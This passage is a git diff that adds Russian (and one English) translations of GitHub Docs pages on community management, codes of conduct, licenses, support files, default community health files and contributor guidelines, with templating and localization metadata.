Community +shortTitle: Management & moderation +ms.openlocfilehash: 93e540042965ef7f31b5f270837b5641c29e72dd +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147431987' +--- +## Сведения об управлении сообществом и модерации + +{% data reusables.policies.github-community-guidelines-and-terms %} + +{% data variables.product.prodname_dotcom %}также предоставляет средства для обслуживания репозитория для определения и применения более высоких стандартов поведения в собственных сообществах {% data variables.product.prodname_dotcom_the_website %}. + +Владельцы организации могут назначить модераторов из числа участников организации. Такие участники имеют доступ к функциям модерации, которыми пользуются владельцы организации. Дополнительные сведения см. в разделе "[Управление модераторами в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization)". + +После установления стандартов поведения для вашего сообщества можно приступить к формированию приятной и продуктивной среды, оперативно реагируя на нарушение дисциплины. Эффективная модерация формирует доверительные отношения в вашем сообществе и помогает участникам чувствовать себя в безопасности и ощущать гостеприимство сообщества. + +## Средства для модерации сообщества + +Средства {% data variables.product.prodname_dotcom %} упрощают задачи управления и модерации в сообществе, не требуя обширного интерфейса модерации. + +Занимаясь обслуживанием репозитория вы можете создавать рекомендации по участию в проекте и делиться ими в репозитории проекта. {% data variables.product.prodname_dotcom %} предлагает контрольный список для профиля сообщества для создания и публикации материалов с рекомендациями по формированию благоприятной атмосферы в сообществе. Потенциальные участники проекта могут ознакомиться с контрольным списком для профиля сообщества, чтобы узнать о стандартах вашего сообщества и решить, хотят ли они участвовать в нем. Дополнительные сведения см. в разделе "[Настройка проекта для внесения действенных вкладов](/communities/setting-up-your-project-for-healthy-contributions)". + +{% data reusables.community.tools-for-moderating %} + +Участники всегда могут сообщить о содержимом, нарушающим правила, обратившись в {% data variables.contact.github_support %}. Если вы решите использовать сообщаемое содержимое в общедоступном репозитории в вашей организации, участники также могут сообщать о комментариях, нарушающих правила, непосредственно в службу поддержки репозитория. Дополнительные сведения см. в разделе "[Управление сообщаемым содержимым в репозитории организации](/communities/moderating-comments-and-conversations/managing-reported-content-in-your-organizations-repository)". + +## Дополнительные материалы + +- "[Ваши правила поведения](https://opensource.guide/code-of-conduct/)" из руководств по открытому коду +- "[Создание гостеприимных сообществ](https://opensource.guide/building-community/)" из руководств по открытому коду +- "[Руководство и управление](https://opensource.guide/leadership-and-governance/)" из руководств по открытому коду diff --git a/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md new file mode 100644 index 000000000000..b09bcacdda7e --- /dev/null +++ b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md @@ -0,0 +1,50 @@ +--- +title: Сведения о профилях сообщества для общедоступных репозиториев +intro: 'Специалисты по обслуживанию репозитория могут просмотреть профиль сообщества своего общедоступного репозитория, чтобы узнать, как можно расширить сообщество и обеспечить поддержку участников. Участники могут просмотреть профиль сообщества общедоступного репозитория, чтобы узнать, как присоединиться к проекту.' +redirect_from: + - /articles/viewing-your-community-profile + - /articles/about-community-profiles-for-public-repositories + - /github/building-a-strong-community/about-community-profiles-for-public-repositories +versions: + fpt: '*' + ghec: '*' +topics: + - Community +shortTitle: Community profiles +ms.openlocfilehash: 08a993bd20a63d21c156a80b0d46d19e1735d68b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145092362' +--- +Контрольный список для профиля сообщества позволяет проверить, содержит ли проект рекомендуемые сообществом файлы, такие как README, CODE_OF_CONDUCT, LICENSE или CONTRIBUTING, в поддерживаемом расположении. Дополнительные сведения см. в разделе [Доступ к профилю сообщества проекта](/articles/accessing-a-project-s-community-profile). + +## Использование контрольного списка для профиля сообщества ответственным за репозиторий + +Ответственный за репозиторий использует контрольный список для профиля сообщества, чтобы проверить, соответствует ли проект рекомендованным стандартам сообщества. Это помогает пользователям участвовать в проекте. Дополнительные сведения см. в разделе [Создание сообщества](https://opensource.guide/building-community/) в руководствах по открытому коду. + +Если в проекте нет рекомендуемого файла, можно нажать кнопку **Добавить**, чтобы создать черновик и отправить файл. + +{% data reusables.repositories.valid-community-issues %} Дополнительные сведения см. в разделе [Сведения о шаблонах проблем и запросов на вытягивание](/articles/about-issue-and-pull-request-templates). + +![Контрольный список для профиля сообщества с рекомендуемыми стандартами для ответственных за обслуживание](/assets/images/help/repository/add-button-community-profile.png) + +{% data reusables.repositories.security-guidelines %} + +## Использование контрольного списка для профиля сообщества участником сообщества или участником совместной работы + +Потенциальный участник использует контрольный список для профиля сообщества с целью проверки того, соответствует ли проект рекомендованным стандартам сообщества. Это помогает ему решить, хочет ли он участвовать в проекте. Дополнительные сведения см. в разделе [Участие](https://opensource.guide/how-to-contribute/#anatomy-of-an-open-source-project) в руководствах по открытому исходному коду. + +Если в проекте нет рекомендуемого файла, можно нажать кнопку **Предложить**, чтобы создать черновик и отправить файл на утверждение ответственному за репозиторий. + +![Контрольный список для профиля сообщества с рекомендуемыми стандартами для участников](/assets/images/help/repository/propose-button-community-profile.png) + +## Дополнительные материалы + +- [Добавление правил поведения в проект](/articles/adding-a-code-of-conduct-to-your-project) +- "[Создание рекомендаций для участников репозитория](/articles/setting-guidelines-for-repository-contributors)" +- [Добавление лицензии в репозиторий](/articles/adding-a-license-to-a-repository) +- [Сведения о шаблонах проблем и запросов на вытягивание](/articles/about-issue-and-pull-request-templates) +- [Руководства по открытому коду](https://opensource.guide/) +- [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}) diff --git a/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/accessing-a-projects-community-profile.md b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/accessing-a-projects-community-profile.md new file mode 100644 index 000000000000..6b039aa596f1 --- /dev/null +++ b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/accessing-a-projects-community-profile.md @@ -0,0 +1,27 @@ +--- +title: Доступ к профилю сообщества проекта +intro: 'Просмотрите профиль сообщества общедоступного репозитория, чтобы проверить работоспособность проекта и решить, хотите ли вы внести свой вклад.' +redirect_from: + - /articles/accessing-a-project-s-community-profile + - /articles/accessing-a-projects-community-profile + - /github/building-a-strong-community/accessing-a-projects-community-profile +versions: + fpt: '*' + ghec: '*' +topics: + - Community +shortTitle: Access community profiles +ms.openlocfilehash: 02814d45f56c9a7883bf482beb6040506b248b44 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117643' +--- +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %} +3. На левой боковой панели щелкните **Сообщество**. +![Сообщество в левой боковой панели](/assets/images/help/graphs/graphs-sidebar-community-tab.png) + +## Дополнительные материалы + +- [Сведения о профилях сообщества для общедоступных репозиториев](/articles/about-community-profiles-for-public-repositories) diff --git a/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project.md b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project.md new file mode 100644 index 000000000000..d4788d588344 --- /dev/null +++ b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project.md @@ -0,0 +1,58 @@ +--- +title: Добавление правил поведения в проект +intro: 'Выработка кодекса поведения для определения стандартов сообщества свидетельствует о дружественном инклюзивном проекте, а также определяет процедуры для работы с нарушениями.' +redirect_from: + - /articles/adding-a-code-of-conduct-to-your-project + - /github/building-a-strong-community/adding-a-code-of-conduct-to-your-project +versions: + fpt: '*' + ghec: '*' +topics: + - Community +shortTitle: Add a code of conduct +ms.openlocfilehash: dcf1e589ae4f803017752f9e919aad304c570fbc +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145092361' +--- +*Правила поведения* — это документ, определяющий стандарты участия в деятельности сообщества. Он свидетельствует о создании инклюзивной среды, в которой уважают любые вклады. В нем также описываются процедуры решения проблем между членами сообщества проекта. Дополнительные сведения о том, почему правила поведения определяют стандарты и ожидания участия в работе сообществе, см. в [руководстве по открытому коду](https://opensource.guide/code-of-conduct/). + +Перед принятием правил поведения для проекта необходимо выполнить следующие задачи: + +* изучить различные правила поведения, предназначенные для проектов с открытым кодом; выбрать те, которые отражают стандарты вашего сообщества; +* тщательно продумать возможность их реализации. + +Правила поведения можно добавить в проект с помощью шаблона или вручную создать пользовательские правила. Правила поведения будут доступны в любом случае, но "Правила поведения" будут помечены в профиле сообщества репозитория как завершенные, только если для исх создания использовался шаблон. Если вы используете правила поведения, написанные другим человеком или организацией, обязательно следуйте любым рекомендациям из источника. Дополнительные сведения о профилях сообщества см. в статье "[Сведения о профилях сообщества для общедоступных репозиториев](//communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories)". + +Можно создать стандартные правила поведения для организации или личной учетной записи. Дополнительные сведения см. в статье "[Создание файла работоспособности сообщества по умолчанию](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)". + +## Добавление правил поведения с помощью шаблона + +{% data variables.product.product_name %} предоставляет шаблоны для распространенных правил поведения, которые упростят добавление правил в проект. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %} +3. В поле имени файла введите *CODE_OF_CONDUCT.md*. +4. Щелкните **Выбрать шаблон правил поведения**. + ![Кнопка выбора шаблона правил поведения](/assets/images/help/repository/code-of-conduct-tool.png) +5. В левой части страницы выберите правила поведения для предварительного просмотра и добавления в проект. + ![Выбор шаблона правил поведения](/assets/images/help/repository/code-of-conduct-tool-picker.png) +6. В правой части страницы заполните поля, чтобы указать в выбранных правилах поведения соответствующие сведения. +7. Щелкните **Проверить и отправить**. + ![Проверка и отправка правил поведения в проект](/assets/images/help/repository/code-of-conduct-tool-review.png) +8. Просмотрите содержимое правил поведения в текстовой области. +{% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %} + +## Добавление правил поведения вручную + +Если нужные правила поведения недоступны в предоставленных шаблонах, можно добавить правила вручную. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %} +3. В поле имени файла введите имя и расширение файла. + ![Новое имя файла правил поведения](/assets/images/help/repository/new-code-of-conduct-file-name.png) + - Чтобы сделать правила поведения видимыми в корневом каталоге репозитория, введите *CODE_OF_CONDUCT* в поле имени файла. + - Чтобы сделать правила поведения видимыми в каталоге `docs` репозитория, введите *docs/CODE_OF_CONDUCT*. + - Чтобы сделать правила поведения видимыми в каталоге `.github` репозитория, введите *.github/CODE_OF_CONDUCT*. +4. Добавьте пользовательские правила поведения в новый файл. +{% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %} diff --git a/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository.md b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository.md new file mode 100644 index 000000000000..b82a5ecc3628 --- /dev/null +++ b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository.md @@ -0,0 +1,59 @@ +--- +title: Добавление лицензии в репозиторий +intro: 'Вы можете включить в репозиторий лицензию с открытым кодом, чтобы упростить участие других пользователей.' +redirect_from: + - /articles/adding-a-license-to-a-repository + - /github/building-a-strong-community/adding-a-license-to-a-repository +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Community +shortTitle: Add a license to a repo +ms.openlocfilehash: 7961f690678d2bfe53726a33d02a54e95b9cfe78 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145117640' +--- +Если вы включите в репозиторий определяемую лицензию, люди, посещающие ваш репозиторий, увидят ее в верхней части страницы репозитория. Чтобы прочитать весь файл лицензии, щелкните имя лицензии. + +![Заголовок репозитория с лицензией MIT](/assets/images/help/repository/repo-license-indicator.png) + +Лицензии с открытым исходным кодом позволяют другим пользователям свободно использовать, изменять и распространять проект в вашем репозитории. Дополнительные сведения о лицензиях репозитория см. в статье "[Лицензирование репозитория](/articles/licensing-a-repository)". + +## Включение лицензии с открытым исходным кодом в репозиторий + + +{% ifversion fpt or ghec %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %} +3. В поле имени файла введите *LICENSE* или *LICENSE.md* (полностью в верхнем регистре). +4. Справа от поля имени файла щелкните **Выбрать шаблон лицензии**. + ![Кнопка "Выбрать шаблон лицензии"](/assets/images/help/repository/license-tool.png) +5. В левой части страницы в разделе "Добавление лицензии в проект" просмотрите доступные лицензии, а затем выберите лицензию из списка. + ![Список доступных лицензий](/assets/images/help/repository/license-tool-picker.png) +6. Щелкните **Проверить и отправить**. + ![Кнопка "Проверить и отправить"](/assets/images/help/repository/license-review-tool.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.choose-commit-email %} +10. Нажмите кнопку **Зафиксировать новый файл**. + ![Фиксация лицензии в ветви](/assets/images/help/repository/license-submit-tool.png) + +{% endif %} + + +{% ifversion ghes %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %} +3. В поле имени файла введите *LICENSE* или *LICENSE.md* (полностью в верхнем регистре). +4. На вкладке **Изменение нового файла** вставьте полный текст лицензии, которую вы хотите использовать. +{% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} +7. Под полями сообщения о фиксации укажите, куда следует добавить фиксацию: в текущую ветвь или в новую. Если текущей ветвью является `main`, нужно создать новую ветвь для фиксации, а затем создать запрос на вытягивание. Дополнительные сведения см. в статье "[Создание запроса на вытягивание](/github/collaborating-with-issues-and-pull-requests/creating-a-pull-request)". +![Параметры фиксации ветви](/assets/images/help/repository/choose-commit-branch.png) +8. Нажмите кнопку **Зафиксировать новый файл**. + ![Фиксация лицензии в ветви](/assets/images/help/repository/license-submit-tool.png) + +{% endif %} + +## Дополнительные материалы + +- "[Создание рекомендаций для участников репозитория](/articles/setting-guidelines-for-repository-contributors)" diff --git a/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/adding-support-resources-to-your-project.md b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/adding-support-resources-to-your-project.md new file mode 100644 index 000000000000..38959152a9e3 --- /dev/null +++ b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/adding-support-resources-to-your-project.md @@ -0,0 +1,44 @@ +--- +title: Добавление ресурсов поддержки в проект +intro: 'Вы можете создать файл SUPPORT, чтобы сообщить пользователям о том, как можно получить помощь по проекту.' +redirect_from: + - /articles/adding-support-resources-to-your-project + - /github/building-a-strong-community/adding-support-resources-to-your-project +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +shortTitle: Add support resources +ms.openlocfilehash: 12819511ac3784720398175ef2d313eca7d03afe +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145092354' +--- +Чтобы направлять пользователей к определенным ресурсам поддержки, можно добавить файл SUPPORT в корневой каталог репозитория `docs` или папку `.github`. Когда кто-то создает проблему в вашем репозитории, отображается ссылка на файл SUPPORT вашего проекта. + +![Рекомендации по поддержке](/assets/images/help/issues/support_guidelines_in_issue.png) + +{% ifversion fpt or ghes or ghec %} + +Можно создать ресурсы поддержки по умолчанию для организации или личной учетной записи. Дополнительные сведения см. в статье "[Создание файла работоспособности сообщества по умолчанию](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)". + +{% endif %} + +{% tip %} + +**Совет.** Чтобы пользователи могли легко находить рекомендации по поддержке, можно указать ссылку на файл SUPPORT из других мест в репозитории, например в [файле README](/articles/about-readmes/). + +{% endtip %} + +## Добавление ресурсов поддержки в проект + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %} +3. В поле имени файла введите *SUPPORT.md* (все буквы должны быть в верхнем регистре). +4. На вкладке **Изменение нового файла** добавьте сведения о том, как пользователи могут получить поддержку по проекту. +5. Чтобы просмотреть файл SUPPORT, нажмите кнопку **Предварительный просмотр**. +{% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %} diff --git a/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md new file mode 100644 index 000000000000..986c44b07ff2 --- /dev/null +++ b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md @@ -0,0 +1,52 @@ +--- +title: Создание файла работоспособности сообщества по умолчанию. +intro: 'Вы можете создать файлы работоспособности сообщества по умолчанию, такие как CONTRIBUTING и CODE_OF_CONDUCT. Файлы по умолчанию будут использоваться для любого репозитория, принадлежащего учетной записи, который не содержит собственный файл такого рода.' +redirect_from: + - /articles/creating-a-default-community-health-file-for-your-organization + - /github/building-a-strong-community/creating-a-default-community-health-file-for-your-organization + - /github/building-a-strong-community/creating-a-default-community-health-file +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Community +shortTitle: Community health file +ms.openlocfilehash: 762af2fcbbc16e0bfc671df2409fede9ea6e2c67 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145117635' +--- +## Сведения о файлах работоспособности сообщества по умолчанию + +Файлы работоспособности сообщества по умолчанию можно добавить в общедоступный репозиторий `.github` в корневой каталог репозитория или в папки `docs` или`.github`. + +{% data variables.product.product_name %} будет использовать и отображать файлы по умолчанию для любого репозитория, принадлежащего учетной записи, которая не имеет собственного файла этого типа, в любом из следующих мест. +- Корень репозитория +- Папка `.github` +- Папка `docs` + +Например, любой пользователь, создающий проблему или запрос на вытягивание в репозитории, у которого нет собственного файла CONTRIBUTING, увидит ссылку на файл CONTRIBUTING по умолчанию. Если в репозитории есть файлы в собственной папке `.github/ISSUE_TEMPLATE`{% ifversion fpt or ghes or ghec %}, включая шаблоны проблем или файл *config.yml*,{% endif %} содержимое папки по умолчанию `.github/ISSUE_TEMPLATE` использоваться не будет. + +Файлы по умолчанию не включаются в клоны, пакеты или скачивания отдельных репозиториев, так как они хранятся только в репозитории `.github`. + +## Поддерживаемые типы файлов + +Вы можете создать заданные по умолчанию сведения в вашей организации{% ifversion fpt or ghes or ghec %} или личной учетной записи {% endif %} для следующих файлов работоспособности сообщества: + +Файл работоспособности сообщества | Описание --- | ---{% ifversion fpt or ghec %} *CODE_OF_CONDUCT.md* | Файл CODE_OF_CONDUCT определяет стандарты участия в деятельности сообщества. Дополнительные сведения см. в статье "[Добавление правил поведения в проект](/articles/adding-a-code-of-conduct-to-your-project/)".{% endif %} *CONTRIBUTING.md |* Файл CONTRIBUTEING содержит сведения о том, как люди должны участвовать в разработке проекта. Дополнительные сведения см. в статье "[Создание рекомендаций для участников репозитория](/articles/setting-guidelines-for-repository-contributors/)".{% ifversion fpt or ghec %} *FUNDING.yml* | Файл FUNDING отображает в репозитории кнопку спонсора, чтобы повысить видимость вариантов финансирования для проекта с открытым кодом. Дополнительные сведения см. в статье "[Отображение кнопки спонсора в репозитории](/articles/displaying-a-sponsor-button-in-your-repository)".{% endif %} Шаблоны проблем и запросов на вытягивание{% ifversion fpt or ghes or ghec %} и *config.yml*{% endif %} | Шаблоны проблем и запросов на вытягивание позволяют настраивать и стандартизовать сведения, которые участники должны указывать при открытии проблем и запросов на вытягивание в репозитории. Дополнительные сведения см. в статье "[Сведения о шаблонах проблем и запросов на вытягивание](/articles/about-issue-and-pull-request-templates/)".{% ifversion fpt or ghes or ghec %} *SECURITY.md |* Файл SECURITY содержит инструкции по отправке сведений об уязвимости системы безопасности в проекте. Дополнительные сведения см. в статье "[Добавление политики безопасности в репозиторий](/code-security/getting-started/adding-a-security-policy-to-your-repository)".{% endif %} *SUPPORT.md |* Файл SUPPORT содержит сведения о способах получения помощи по проекту. Дополнительные сведения см. в статье "[Добавление ресурсов поддержки в проект](/articles/adding-support-resources-to-your-project/)". + +Создать файл лицензии по умолчанию невозможно. Файлы лицензий должны быть добавлены в отдельные репозитории, чтобы файл включался при клонировании, упаковке или скачивании проекта. + +## Создание репозитория для файлов по умолчанию + +{% data reusables.repositories.create_new %} +2. В раскрывающемся меню **Владелец** выберите организацию{% ifversion fpt or ghes or ghec %} или личную учетную запись{% endif %}, для которой нужно создать файлы по умолчанию. + ![Раскрывающееся меню "Владелец"](/assets/images/help/repository/create-repository-owner.png) +3. Введите **.github** в качестве имени репозитория и необязательное описание. + ![Поле создания репозитория](/assets/images/help/repository/default-file-repository-name.png) +4. Убедитесь, что для состояния репозитория задано значение **Общедоступный** (репозиторий для файлов по умолчанию не может быть частным). + ![Переключатели для выбора состояния: частный или общедоступный](/assets/images/help/repository/create-repository-public-private.png) {% data reusables.repositories.initialize-with-readme %} {% data reusables.repositories.create-repo %} +7. В репозитории создайте один из поддерживаемых файлов работоспособности сообщества. Шаблоны проблем{% ifversion fpt or ghes or ghec %} и их файл конфигурации{% endif %} должны находиться в папке с именем `.github/ISSUE_TEMPLATE`. Все остальные поддерживаемые файлы могут находиться в корне репозитория, папке `.github` или папке `docs`. Дополнительные сведения см. в статье "[Создание файлов](/articles/creating-new-files/)". diff --git a/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels.md b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels.md new file mode 100644 index 000000000000..1b9cb3ba0158 --- /dev/null +++ b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels.md @@ -0,0 +1,32 @@ +--- +title: Содействие внесению полезных вкладов в разработку проекта с помощью меток +intro: 'Примените метку `good first issue` к проблемам в репозитории, чтобы выделить возможности для участников проекта.' +redirect_from: + - /github/building-a-strong-community/helping-new-contributors-find-your-project-with-labels + - /articles/helping-new-contributors-find-your-project-with-labels + - /github/building-a-strong-community/encouraging-helpful-contributions-to-your-project-with-labels +versions: + fpt: '*' + ghec: '*' +topics: + - Community +shortTitle: Encourage contributions +ms.openlocfilehash: fd99b2eeaf95a2c979b6c7edce9a896cd29c5819 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145092353' +--- +Вы можете применить метку `good first issue` к проблемам в общедоступном репозитории, чтобы пользователи могли их найти при поиске по меткам. Дополнительные сведения о поиске по меткам см. в статье "[Поиск проблем и запросов на вытягивание](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-by-label)". + +{% data variables.product.prodname_dotcom %}использует алгоритм для определения наиболее доступных проблем в каждом репозитории и их размещения в различных местах на сайте {% data variables.product.prodname_dotcom_the_website %}. Добавление метки `good first issue` может увеличить вероятность доступности проблем. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.repositories.select-items-in-issue-or-pr-list %} +4. В правом верхнем углу щелкните **Метка**, а затем начните вводить `good first issue`. Щелкните имя метки, чтобы связать ее с выбранными элементами. + ![Раскрывающийся список назначения вех меток](/assets/images/help/issues/issues_applying_labels_dropdown.png) + +## Дополнительные материалы + +- "[Сведения о метках](/articles/about-labels)" +- "[Поиск репозиториев](/search-github/searching-on-github/searching-for-repositories)" diff --git a/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/index.md b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/index.md new file mode 100644 index 000000000000..ace2619de51b --- /dev/null +++ b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/index.md @@ -0,0 +1,33 @@ +--- +title: Настройка проекта для внесения действенных вкладов +shortTitle: Healthy contributions +intro: 'Ответственные за обслуживание репозитория могут определять рекомендации по участию, которые помогают участникам совместной работы вносить полезные значимые вклады в проект.' +redirect_from: + - /articles/helping-people-contribute-to-your-project + - /articles/setting-up-your-project-for-healthy-contributions + - /github/building-a-strong-community/setting-up-your-project-for-healthy-contributions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +children: + - /about-community-management-and-moderation + - /about-community-profiles-for-public-repositories + - /accessing-a-projects-community-profile + - /adding-a-code-of-conduct-to-your-project + - /setting-guidelines-for-repository-contributors + - /adding-a-license-to-a-repository + - /adding-support-resources-to-your-project + - /creating-a-default-community-health-file + - /encouraging-helpful-contributions-to-your-project-with-labels +ms.openlocfilehash: ca5d1ab07721b17a77e6af6e1a1d84d33e65c984 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145117632' +--- + diff --git a/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md new file mode 100644 index 000000000000..17139235ce37 --- /dev/null +++ b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md @@ -0,0 +1,68 @@ +--- +title: Setting guidelines for repository contributors +intro: You can create guidelines to communicate how people should contribute to your project. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +redirect_from: + - /articles/how-do-i-set-up-guidelines-for-contributors + - /articles/setting-guidelines-for-repository-contributors + - /github/building-a-strong-community/setting-guidelines-for-repository-contributors +topics: + - Community +shortTitle: Contributor guidelines +--- +## About contributing guidelines +To help your project contributors do good work, you can add a file with contribution guidelines to your project repository's root, `docs`, or `.github` folder. When someone opens a pull request or creates an issue, they will see a link to that file. The link to the contributing guidelines also appears on your repository's `contribute` page. For an example of a `contribute` page, see [github/docs/contribute](https://github.com/github/docs/contribute). + +![contributing-guidelines](/assets/images/help/pull_requests/contributing-guidelines.png) + +For the repository owner, contribution guidelines are a way to communicate how people should contribute. + +For contributors, the guidelines help them verify that they're submitting well-formed pull requests and opening useful issues. + +For both owners and contributors, contribution guidelines save time and hassle caused by improperly created pull requests or issues that have to be rejected and re-submitted. + +{% ifversion fpt or ghes or ghec %} + +You can create default contribution guidelines for your organization{% ifversion fpt or ghes or ghec %} or personal account{% endif %}. For more information, see "[Creating a default community health file](//communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)." + +{% endif %} + +{% tip %} + +**Tip:** Repository maintainers can set specific guidelines for issues by creating an issue or pull request template for the repository. For more information, see "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)." + +{% endtip %} + +## Adding a *CONTRIBUTING* file + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.files.add-file %} +3. Decide whether to store your contributing guidelines in your repository's root, `docs`, or `.github` directory. Then, in the filename field, type the name and extension for the file. Contributing guidelines filenames are not case sensitive. Files are rendered in rich text format if the file extension is in a supported format. For more information, see "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files#rendering-differences-in-prose-documents)." + ![New file name](/assets/images/help/repository/new-file-name.png) + - To make your contributing guidelines visible in the repository's root directory, type *CONTRIBUTING*. + - To make your contributing guidelines visible in the repository's `docs` directory, type *docs/* to create the new directory, then *CONTRIBUTING*. + - If a repository contains more than one *CONTRIBUTING* file, then the file shown in links is chosen from locations in the following order: the `.github` directory, then the repository's root directory, and finally the `docs` directory. +4. In the new file, add contribution guidelines. These could include: + - Steps for creating good issues or pull requests. + - Links to external documentation, mailing lists, or a code of conduct. + - Community and behavioral expectations. +{% data reusables.files.write_commit_message %} +{% data reusables.files.choose_commit_branch %} +{% data reusables.files.propose_new_file %} + +## Examples of contribution guidelines + +If you're stumped, here are some good examples of contribution guidelines: + +- The {% data variables.product.prodname_docs %} [contribution guidelines](https://github.com/github/docs/blob/main/CONTRIBUTING.md). +- The Ruby on Rails [contribution guidelines](https://github.com/rails/rails/blob/main/CONTRIBUTING.md). +- The Open Government [contribution guidelines](https://github.com/opengovernment/opengovernment/blob/master/CONTRIBUTING.md). + +## Further reading +- The Open Source Guides' section "[Starting an Open Source Project](https://opensource.guide/starting-a-project/)"{% ifversion fpt or ghec %} +- [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}{% ifversion fpt or ghes or ghec %} +- "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)"{% endif %} diff --git a/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates.md b/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates.md new file mode 100644 index 000000000000..5621a463153d --- /dev/null +++ b/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates.md @@ -0,0 +1,59 @@ +--- +title: Сведения о шаблонах 